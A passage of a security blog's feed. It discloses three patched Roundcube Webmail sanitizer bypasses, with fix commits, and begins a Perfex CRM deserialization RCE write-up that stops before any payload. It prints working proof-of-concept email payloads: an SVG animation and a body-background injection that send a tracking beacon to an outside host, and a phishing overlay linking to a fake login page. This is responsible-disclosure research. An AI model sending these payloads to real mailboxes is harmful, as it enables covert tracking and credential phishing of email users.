\u003ccode\u003eurl()\u003c/code\u003e interpolation in \u003ccode\u003ewashtml_callback()\u003c/code\u003e is unchanged, but the injection vector is cut off at the URI validation layer.\u003c/p\u003e\n\u003ch3 id=\"css-position\"\u003eCSS position\u003ca href=\"#css-position\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h3\u003e\n\u003cp\u003eThe fix (\u003ca href=\"https://github.com/roundcube/roundcubemail/commit/226811a\"\u003e\u003ccode\u003e226811a\u003c/code\u003e\u003c/a\u003e) changes the \u003ccode\u003eposition: fixed\u003c/code\u003e check from exact match to substring match:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/226811a1c974271dbedca72672923abaff8191c0/program/lib/Roundcube/rcube_utils.php#L555\"\u003ercube_utils.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelseif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$property\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;position\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003estripos\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$value\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;fixed\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e!==\u003c/span\u003e \u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$value\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;absolute\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003ccode\u003estripos\u003c/code\u003e catches \u003ccode\u003e\u0026quot;fixed !important\u0026quot;\u003c/code\u003e because \u003ccode\u003e\u0026quot;fixed\u0026quot;\u003c/code\u003e is a substring. The value gets replaced with \u003ccode\u003e\u0026quot;absolute\u0026quot;\u003c/code\u003e before it reaches token validation.\u003c/p\u003e\n\u003cp\u003eUpdate to 1.5.14, 1.6.14, or 1.7-rc5.\u003c/p\u003e\n\u003ch2 id=\"timeline\"\u003eTimeline\u003ca href=\"#timeline\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eDate\u003c/th\u003e\n          \u003cth\u003eEvent\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-03-07\u003c/td\u003e\n          \u003ctd\u003eReported to Roundcube\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-03-09\u003c/td\u003e\n          \u003ctd\u003eTriaged\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-03-18\u003c/td\u003e\n          \u003ctd\u003e1.5.14, 1.6.14, and 1.7-rc5 released\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-03-18\u003c/td\u003e\n          \u003ctd\u003eThis post\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cdiv class=\"footnotes\" role=\"doc-endnotes\"\u003e\n\u003chr\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003eMost of the bugs on this blog started with \u0026ldquo;I was bored.\u0026rdquo; Bored hackers are a threat model.\u0026#160;\u003ca href=\"#fnref:1\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:2\"\u003e\n\u003cp\u003e\u003ca href=\"https://global.ptsecurity.com/en/research/pt-esc-threat-intelligence/fake-attachment-roundcube-mail-server-attacks-exploit-cve-2024-37383-vulnerability/\"\u003eExploited in the wild\u003c/a\u003e against a CIS government organization in June 2024. On \u003ca href=\"https://www.cisa.gov/known-exploited-vulnerabilities-catalog\"\u003eCISA\u0026rsquo;s KEV catalog\u003c/a\u003e. Roundcube XSS bugs keep ending up in targeted campaigns. \u003ca href=\"https://www.welivesecurity.com/en/eset-research/winter-vivern-exploits-zero-day-vulnerability-roundcube-webmail-servers/\"\u003eWinter Vivern\u003c/a\u003e used a different one as a zero-day against European government entities in 2023.\u0026#160;\u003ca href=\"#fnref:2\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:3\"\u003e\n\u003cp\u003eTested on Firefox. Chrome deprecated SMIL in some contexts, but Firefox still evaluates it fully. The \u003ccode\u003emask\u003c/code\u003e property with \u003ccode\u003eurl()\u003c/code\u003e values triggers a resource load during SVG rendering.\u0026#160;\u003ca href=\"#fnref:3\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:4\"\u003e\n\u003cp\u003e\u003ca href=\"https://html.spec.whatwg.org/multipage/obsolete.html\"\u003eDeprecated since HTML 4.01\u003c/a\u003e, listed as a non-conforming feature in the WHATWG Living Standard. Every browser still renders it, and email HTML is stuck in the 90s, so sanitizers have to handle it.\u0026#160;\u003ca href=\"#fnref:4\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:5\"\u003e\n\u003cp\u003eTwo extra words. That\u0026rsquo;s all it took.\u0026#160;\u003ca href=\"#fnref:5\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\n","content_text":"TL;DR: Three more bypasses in Roundcube’s HTML sanitizer. SMIL animation values and by attributes pass through without URI validation. The body background attribute gets dropped into url() unquoted, which allows CSS injection. And position: fixed !important bypasses the fixed-position mitigation for full-viewport phishing overlays. Fixed in 1.5.14, 1.6.14, and 1.7-rc5.\nVulnerability information# Field Value Vendor Roundcube Product Roundcube Webmail Affected versions \u003c 1.5.14, 1.6.x \u003c 1.6.14, 1.7-rc1 through 1.7-rc4 CVE Pending Disclosure date 2026-03-18 Going back# After the feImage bypass was patched, the sanitizer still felt fairly fragile. Same patterns everywhere: hand-maintained allowlists, attribute routing that assumed it caught everything. I was bored and didn’t feel like doing anything else, so I went poking at it again.1\nThree more things came out of it.\nSMIL animations: values and by# The feImage bug was about an element whose href went through the wrong code path. This one is about attributes that skip the code path entirely.\nSMIL animation elements (\u003canimate\u003e, \u003cset\u003e, \u003canimateTransform\u003e) can target any attribute on their parent element. The to and from attributes set start and end values, but SMIL also has values (semicolon-separated keyframes) and by (relative offset). They all do the same thing: set the value of the target attribute.\nwash_attribs() handles to and from correctly by resolving attributeName and routing the value through the appropriate URI check:\nrcube_washtml.php\n// in SVG to/from attribs may contain anything, including URIs if ($key == 'to' || $key == 'from') { $key = strtolower((string) $node-\u003egetAttribute('attributeName')); $key = trim(preg_replace('/^.*:/', '', $key)); if ($key \u0026\u0026 !isset($this-\u003e_html_attribs[$key])) { $key = null; } } This swaps the attribute name for the resolved attributeName, so to=\"https://httpbin.org\" on \u003canimate attributeName=\"href\"\u003e gets validated as if it were an href value. The right idea.\nBut values and by aren’t in that if check. They’re both in the $html_attribs allowlist, so they pass the initial gate and fall through to the generic pass-through:\nrcube_washtml.php\n} elseif ($key) { $out = $value; } No URI validation. The value goes into the output unchanged.\nThere’s a second layer to this. After CVE-2024-373832, the sanitizer blocks SMIL animations targeting attributeName=\"href\":\nrcube_washtml.php\n} elseif (in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform']) \u0026\u0026 self::attribute_value($node, 'attributename', 'href') ) { Only href. But CSS properties like mask and cursor also load external resources when their values contain URLs. An \u003canimate attributeName=\"mask\" values=\"url(//httpbin.org/track)\"\u003e passes through because the element-level block doesn’t fire.\nCombined: the values attribute bypasses attribute-level validation, and targeting mask instead of href bypasses element-level blocking. Both checks miss.\nProof of concept# Zero-click open tracking. An invisible SVG off-screen:\n\u003csvg width=\"1\" height=\"1\" style=\"position:absolute;left:-9999px\"\u003e \u003crect width=\"1\" height=\"1\" fill=\"white\"\u003e \u003canimate attributeName=\"mask\" values=\"url(//httpbin.org/track?uid=victim@test.com)\" fill=\"freeze\" dur=\"0.001s\" /\u003e \u003c/rect\u003e \u003c/svg\u003e Open the email in Roundcube with “Block remote images” enabled. The browser fires a GET to the attacker’s URL.3\nSMIL’s keyTimes attribute enables timed beacons, measuring how long a recipient views the email:\n\u003csvg width=\"1\" height=\"1\" style=\"position:absolute;left:-9999px\"\u003e \u003crect width=\"1\" height=\"1\"\u003e \u003canimate attributeName=\"mask\" values=\"none;url(//httpbin.org/ping?t=1);url(//httpbin.org/ping?t=2)\" dur=\"5s\" repeatCount=\"indefinite\" /\u003e \u003c/rect\u003e \u003c/svg\u003e Body backgrounds: unquoted url()# This one is in the application layer, not the sanitizer library.\nWhen Roundcube renders an email, washtml_callback() processes the \u003cbody\u003e element’s attributes and converts them to inline CSS on the output container \u003cdiv\u003e. The background attribute4 becomes background-image:\nindex.php\ncase 'background': if (preg_match('/^([^\\s]+)$/', $value, $m)) { $style['background-image'] = \"url({$value})\"; } break; The value runs through wash_uri() before this point, which allows data:image/* URIs. Then it gets interpolated into url() without quotes.\nA ) inside the data URI terminates the url() function early, and everything after it is parsed as additional CSS properties on the container \u003cdiv\u003e. Because the injected CSS is inline style (not inside a \u003cstyle\u003e block), it bypasses mod_css_styles() and its URL callback entirely.\nProof of concept# \u003cbody background=\"data:image/png,x);background:url(//httpbin.org/track?uid=victim@test.com\"\u003e The sanitizer produces this inline style on the container:\nbackground-image: url(data:image/png,x);background:url(//httpbin.org/track?uid=victim@test.com) The ) in data:image/png,x) closes the original url(). The injected background:url(//...) loads the external resource.\nCSS position: fixed !important# Roundcube converts position: fixed to position: absolute in sanitize_css_block() to prevent elements from breaking out of the message container:\nrcube_utils.php\n} elseif ($property == 'position' \u0026\u0026 strcasecmp($value, 'fixed') === 0) { $value = 'absolute'; } strcasecmp compares the entire trimmed value against \"fixed\". Append !important and it’s no longer an exact match.5 The check fails, and \"fixed !important\" flows through the generic token validation, where explode_css_property_block() splits it into ['fixed', '!important']. Both tokens pass the allowlist individually, and the output reassembles as position: fixed !important.\nProof of concept# \u003cstyle\u003e .overlay { position: fixed !important; top: 0; left: 0; width: 100%; height: 100%; background: white; z-index: 99999; display: flex; align-items: center; justify-content: center; } \u003c/style\u003e \u003cdiv class=\"overlay\"\u003e \u003cdiv style=\"border:1px solid #ccc;border-radius:8px;padding:30px; max-width:400px;text-align:center;font-family:Arial,sans-serif\"\u003e \u003ch2\u003eSession Expired\u003c/h2\u003e \u003cp\u003eYour Roundcube session has expired due to inactivity.\u003c/p\u003e \u003ca href=\"https://httpbin.org/phish/login\" style=\"background:#0066cc;color:white;padding:10px 20px; text-decoration:none;border-radius:4px\"\u003eSign In Again\u003c/a\u003e \u003c/div\u003e \u003c/div\u003e The overlay covers the preview pane iframe. When the message is opened in a new window (no iframe), it covers the full browser viewport with no visible Roundcube chrome. A “session expired” dialog pointing to an attacker-controlled login page.\nImpact# The SMIL and body background bypasses defeat “Block remote images” to enable email tracking: open confirmation, IP logging, browser fingerprinting. The SMIL variant can also measure read time through timed beacon sequences.\nThe position: fixed bypass is a phishing vector. A full-viewport overlay can impersonate Roundcube’s own login prompt.\nRemediation# All three issues are fixed in 1.5.14, 1.6.14, and 1.7-rc5. See the Roundcube advisory.\nSMIL animations# The fix (82ab5ec) replaces the inline element-level check with a new is_insecure_tag() method that blocks SMIL animation elements targeting href, or mask/cursor when the values attribute contains url():\nrcube_washtml.php\nprivate static function is_insecure_tag($node) { $tagName = strtolower($node-\u003enodeName); if (!in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform'])) { return false; } if (self::attribute_value($node, 'attributeName', '/^href$/i')) { return true; } return self::attribute_value($node, 'attributeName', '/^(mask|cursor)$/i') \u0026\u0026 self::attribute_value($node, 'values', '/url\\(/i'); } The fix blocks the entire element when it detects a dangerous combination rather than adding values and by to the attribute-level validation. The attribute_value() helper was also changed from exact string matching to regex matching to support this.\nBody backgrounds# The fix (fd0e981) adds validation in wash_uri() that rejects data URIs unless they’re properly base64-encoded:\nrcube_washtml.php\n// At this point we allow only valid base64 images if (stripos($type, 'base64') === false || preg_match('|[^0-9a-z\\s/+]|i', $matches[2])) { return ''; } The crafted data:image/png,x) payload fails the first check: the type is png, not png;base64, so stripos returns false and the URI is rejected. The second check guards base64-encoded payloads against smuggled characters like ). The unquoted url() interpolation in washtml_callback() is unchanged, but the injection vector is cut off at the URI validation layer.\nCSS position# The fix (226811a) changes the position: fixed check from exact match to substring match:\nrcube_utils.php\n} elseif ($property == 'position' \u0026\u0026 stripos($value, 'fixed') !== false) { $value = 'absolute'; } stripos catches \"fixed !important\" because \"fixed\" is a substring. The value gets replaced with \"absolute\" before it reaches token validation.\nUpdate to 1.5.14, 1.6.14, or 1.7-rc5.\nTimeline# Date Event 2026-03-07 Reported to Roundcube 2026-03-09 Triaged 2026-03-18 1.5.14, 1.6.14, and 1.7-rc5 released 2026-03-18 This post Most of the bugs on this blog started with “I was bored.” Bored hackers are a threat model. ↩︎\nExploited in the wild against a CIS government organization in June 2024. On CISA’s KEV catalog. Roundcube XSS bugs keep ending up in targeted campaigns. Winter Vivern used a different one as a zero-day against European government entities in 2023. ↩︎\nTested on Firefox. Chrome deprecated SMIL in some contexts, but Firefox still evaluates it fully. The mask property with url() values triggers a resource load during SVG rendering. ↩︎\nDeprecated since HTML 4.01, listed as a non-conforming feature in the WHATWG Living Standard. Every browser still renders it, and email HTML is stuck in the 90s, so sanitizers have to handle it. ↩︎\nTwo extra words. That’s all it took. ↩︎\n","date_published":"2026-03-18T00:00:00Z","date_modified":"2026-03-18T00:00:00Z","tags":["vulnerability","roundcube","svg","css","email-security"]},{"id":"https://nullcathedral.com/posts/2026-03-16-perfex-crm-unauthenticated-rce-insecure-deserialization/","url":"https://nullcathedral.com/posts/2026-03-16-perfex-crm-unauthenticated-rce-insecure-deserialization/","title":"Perfex CRM \u003c=3.4.0 allows unauthenticated RCE via insecure deserialization","summary":"Perfex CRM passed the autologin cookie into unserialize() without validation, giving unauthenticated attackers remote code execution.","content_html":"\u003cp\u003e\u003cstrong\u003eTL;DR:\u003c/strong\u003e Perfex CRM fed the \u003ccode\u003eautologin\u003c/code\u003e cookie straight into \u003ccode\u003eunserialize()\u003c/code\u003e. CodeIgniter\u0026rsquo;s XSS filter stripped the null bytes that private PHP properties need, but PHP\u0026rsquo;s \u003ccode\u003eS:\u003c/code\u003e format got around that. Unauthenticated cookie to shell via GuzzleHttp\u0026rsquo;s \u003ccode\u003eFileCookieJar\u003c/code\u003e.\u003c/p\u003e\n\u003ch2 id=\"vulnerability-information\"\u003eVulnerability information\u003ca href=\"#vulnerability-information\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eField\u003c/th\u003e\n          \u003cth\u003eValue\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eVendor\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eMSTdev\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eProduct\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003ePerfex CRM\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eAffected versions\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u0026lt;= 3.4.0\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eCVE\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eRequested\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eCVSS 4.0\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ca href=\"https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H\"\u003e10.0 / Critical\u003c/a\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eCWE\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eCWE-502: Deserialization of Untrusted Data\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eDisclosure date\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e2026-03-16\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2 id=\"background\"\u003eBackground\u003ca href=\"#background\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eLast December I was bored and remembered that CodeCanyon still existed. The S in CodeCanyon obviously stands for \u0026ldquo;super verified secure scripts\u0026rdquo;, so I started browsing for interesting apps to poke at. I \u003ca href=\"https://codecanyon.net/category/php-scripts?sort=sales\"\u003esorted by sales\u003c/a\u003e\u003csup id=\"fnref:1\"\u003e\u003ca href=\"#fn:1\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e1\u003c/a\u003e\u003c/sup\u003e and landed on Perfex CRM as my first pick.\u003c/p\u003e\n\u003cp\u003ePerfex CRM is a PHP CRM. It\u0026rsquo;s built on CodeIgniter and handles clients, invoices, projects, support tickets, etc.\u003c/p\u003e\n\u003ch2 id=\"the-vulnerable-call\"\u003eThe vulnerable call\u003ca href=\"#the-vulnerable-call\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eOn the demo instance, the \u003ccode\u003eautologin\u003c/code\u003e cookie looked like serialized PHP data. So I grabbed a copy of the source and sure enough, \u003ccode\u003eAuthentication_model.php\u003c/code\u003e passes it straight into a bare \u003ccode\u003eunserialize()\u003c/code\u003e. Textbook object injection.\u003c/p\u003e\n\u003cp\u003eThe base controller loads the authentication model on every request:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003ecore/App_Controller.php\u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003eload\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003emodel\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;authentication_model\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003eauthentication_model\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003eautologin\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe model\u0026rsquo;s constructor calls it again:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003emodels/Authentication_model.php\u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e \u003cspan class=\"k\"\u003efunction\u003c/span\u003e \u003cspan class=\"fm\"\u003e__construct\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eparent\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"na\"\u003e__construct\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003eload\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003emodel\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;user_autologin\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003eautologin\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe \u003ccode\u003eautologin()\u003c/code\u003e method:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003emodels/Authentication_model.php\u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e \u003cspan class=\"k\"\u003efunction\u003c/span\u003e \u003cspan class=\"nf\"\u003eautologin\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003eis_logged_in\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003eload\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003ehelper\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;cookie\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$cookie\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eget_cookie\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;autologin\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"nv\"\u003e$data\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eunserialize\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$cookie\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eisset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;key\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e \u003cspan class=\"k\"\u003eand\u003c/span\u003e \u003cspan class=\"nx\"\u003eisset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;user_id\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e]))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe cookie hits \u003ccode\u003eunserialize()\u003c/code\u003e on every request, every route, with no validation.\u003c/p\u003e\n\u003ch2 id=\"the-xss-filter-problem\"\u003eThe XSS filter problem\u003ca href=\"#the-xss-filter-problem\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eMy first payload didn\u0026rsquo;t work. Perfex calls \u003ccode\u003eget_cookie('autologin', true)\u003c/code\u003e, and that second parameter turns on CodeIgniter\u0026rsquo;s XSS filtering:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/bcit-ci/CodeIgniter/blob/3.1-stable/system/helpers/cookie_helper.php#L89-L94\"\u003e\u003ccode\u003esystem/helpers/cookie_helper.php\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan 